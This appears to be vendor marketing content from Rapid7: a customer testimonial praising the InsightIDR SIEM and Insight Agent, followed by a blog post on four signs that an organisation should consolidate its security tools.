In addition to saving time, the out-of-the-box rules are very effective; they find things that our other security products can’t detect. This is a key reason I’ve been 100% happy with Rapid7. As a user, I just know it’s functional. It’s clear that InsightIDR is designed by and for users—there’s no fluff, and the kinks are already ironed out. Not only am I saving time and company resources, the solution is a joy to use.
Source Coverage
When scouting SIEM options, we wanted a platform that could ingest a lot of different log sources. Rapid7 covered all of the elements we use in the big platforms and various security appliances we have—and some in the cloud too. InsightIDR can ingest logs from all sources and correlate them (a key to any high-functioning SIEM) on day one.
Trust the Process
I can honestly say this is the first time I’ve ever used a product that adds new features and functionality every single quarter. It’s not just a new pretty interface either, Rapid7 consistently adds capabilities that move the product forward.
What’s also wonderful is that Rapid7 listens to customers, especially their feedback. Not to toot my own horn, but they’ve even released a handful of feature requests that I submitted over the years. So I can say with absolute sincerity that these improvements actually benefit SOC teams. They make us better at detecting the stuff that we’re most concerned about.
Visibility and Coverage, Thanks, Insight Agent!
If you’re not familiar with Insight Agent, it’s time to get acquainted. Insight Agent is critical for running forensics on a machine. If I have a machine that gets flagged for something through an automated alert, I can quickly jump in without delay because of the Insight Agent. I get lots of worthwhile information that helps me consistently finish investigations in a timely manner. I know in pretty short order whether an alert is nefarious or just a false positive.
And this is all built into the Rapid7 platform—it doesn’t require customization or installations to get up and running. You truly have a single pane of glass to do all of this, and it’s somehow super intuitive as well. Using the endpoint agent, I don’t have to switch over to something else to do additional work. It’s all right there.
“Customer support at Rapid7 is outstanding. It’s the gold standard that I now use to evaluate all other customer support.”
Thinking Outside the Pane
I also have to give a shout out to the Rapid7 community. The community at discuss.rapid7.com/ and the support I get from our Rapid7 account team cannot be overlooked. When I have a question about how to use something, my first step is to visit Discuss to see if somebody else has already posted some information about it—often saving me valuable time. If that doesn’t answer my question, the customer support at Rapid7 is outstanding. It’s the gold standard that I now use to evaluate all other customer support.
The Bottom Line
My bottom line? I love this product (and the people). To say it’s useful is an understatement. I would never recommend a product that I didn’t think was outstanding. I firmly believe in the Rapid7InsightIDR and experience how useful it is every day. So does my team.
To learn more about InsightIDR, our industry-leading cloud-native SIEM solution, watch this on-demand demo.
Recently, Gartner surveyed security professionals and found that over 50% of the respondents were looking to consolidate their security tech stack. Why? These professionals recognized that consolidation is key to achieving their goals of improving productivity, visibility, and reporting as well as bridging staff resourcing gaps.
Additionally, threat actors are leveraging artificial intelligence (AI) and machine learning tools to launch more sophisticated, high-impact attacks. Defending against AI-assisted attacks requires greater network visibility and operational efficiency—not to mention the automated detection and response capabilities in most consolidation offerings. As the threat landscape evolves, streamlining your tech stack can also improve your organization’s security posture and protect against financial losses. This is an important consideration, as the cost of the average data breach has reached $9.44 million in the U.S.
While the benefits of consolidation are clear, organizations often miss the tell-tale signs that it is time to consolidate their tech stack. Recognizing these signs can help your organization identify the areas where it’s most needed and develop a seamless implementation strategy that minimizes disruption.
Four tell-tale signs it’s time to consolidate your security tools
Sign #1: You can’t track (or visualize) your tech stack
When was the last time you cataloged your resources? This may seem a little on the nose, but one of the best ways to tell if your organization is in need of consolidation is that you’re unable to track or visualize your tech stack.
In 2021, IBM found that 45% of security teams used more than 20 tools when investigating and responding to a cybersecurity incident. These tools are a drain on your budget and can even present security risks. Excess tech is less likely to be monitored for compliance and needlessly broadens your network’s attack surface.
Visibility into your tech stack is just as important as visibility across your network. The inability to track and visualize your tech stack can indicate that your organization is working with tools that are obsolete, underutilized, or ignored.
Sign #2: Your mean time to resolve (MTTR) is high
Did you know it takes the average company a staggering 277 days to identify and contain a breach? Finding and resolving breaches quickly is key to protecting your systems and data. When your MTTR is high, it’s indicative of operational inefficiencies in your security responses.
Working with too many vendors and tools can make it difficult to prioritize and respond to threats. For example, if you’re working with redundant tools, event data from one tool may conflict with another, and your team is forced to spend precious time confirming which dataset is correct before it can respond to the security incident.
Siloed tools from a variety of vendors are another common pain point. Even if you’re using “best of breed” tools, a cobbled together security solution of multiple vendors can create issues. Tools from different vendors may not integrate well (if at all). Consequently, your team may be missing crucial alerts and experiencing a breakdown in workflows as data is transferred from one tool to another.
Sign #3: Your processes are manual
If your team is wasting valuable time manually investigating false positives, prioritizing risks, and drawing context from massive datasets, consolidation could be the solution. Manual investigation is also error-prone, and teams often find that important security events are missed entirely or slip through the cracks until they become pervasive, system-wide concerns. As a result, you may be able to track your team’s elevated MTTR rate back to manual resolution workflows.
Consolidated security platforms offer the crucial automation features that companies need to close skill and staffing resource gaps, as well. Consolidating with automation in mind can simplify and improve your team’s workflows, ensuring that your team is able to respond to threats faster and reduce overall risk across your infrastructure—even if your organization is understaffed. Finally, removing the burden of manual investigation can increase your team’s productivity, free up resources, and create space for senior staff to work on other projects.
Sign #4: Compliance is a struggle
If you’re working with a variety of vendors and security tools, compliance can be problematic. You may find that each vendor’s approach to compliance varies widely, and it’s nearly impossible to impose a consistent standard of compliance across your entire network.
Network applications are difficult to update and secure if your organization struggles to maintain visibility in its tech stack. Also, gathering data across your infrastructure for compliance audits is complicated when you have redundant tools, disagreement between the datasets, and no single source of truth.
Whether your organization is in a highly regulated industry or not, maintaining a compliant network is important. Organizations that maintain compliant networks can resolve configuration-related vulnerabilities faster, creating a baseline for security practices and IT operations.
Following governmental compliance regulations can help your organization enhance its data management capabilities. There are also serious drawbacks to a non-compliant network. Depending on your industry, if your network is non-compliant, you may be required to pay hefty fines. Additionally, non-compliant networks are less secure; they’re prone to configuration vulnerabilities and a host of other issues.
When it comes to consolidation, don’t ignore the signs
Knowing the signs of a tech stack in need of consolidation can save your organization a considerable amount of time, money, and frustration. Some companies worry about giving up “best of breed” security options. However, consolidation is increasingly considered more secure than “best of breed.”
For many organizations, the security advantage of narrowing your attack surface, automating processes, and streamlining data far outweighs the individual benefits of separate solutions and multiple vendors. As the threat landscape evolves, it’s increasingly important to have a streamlined tech stack that can deliver the security support needed to effectively mitigate risk.
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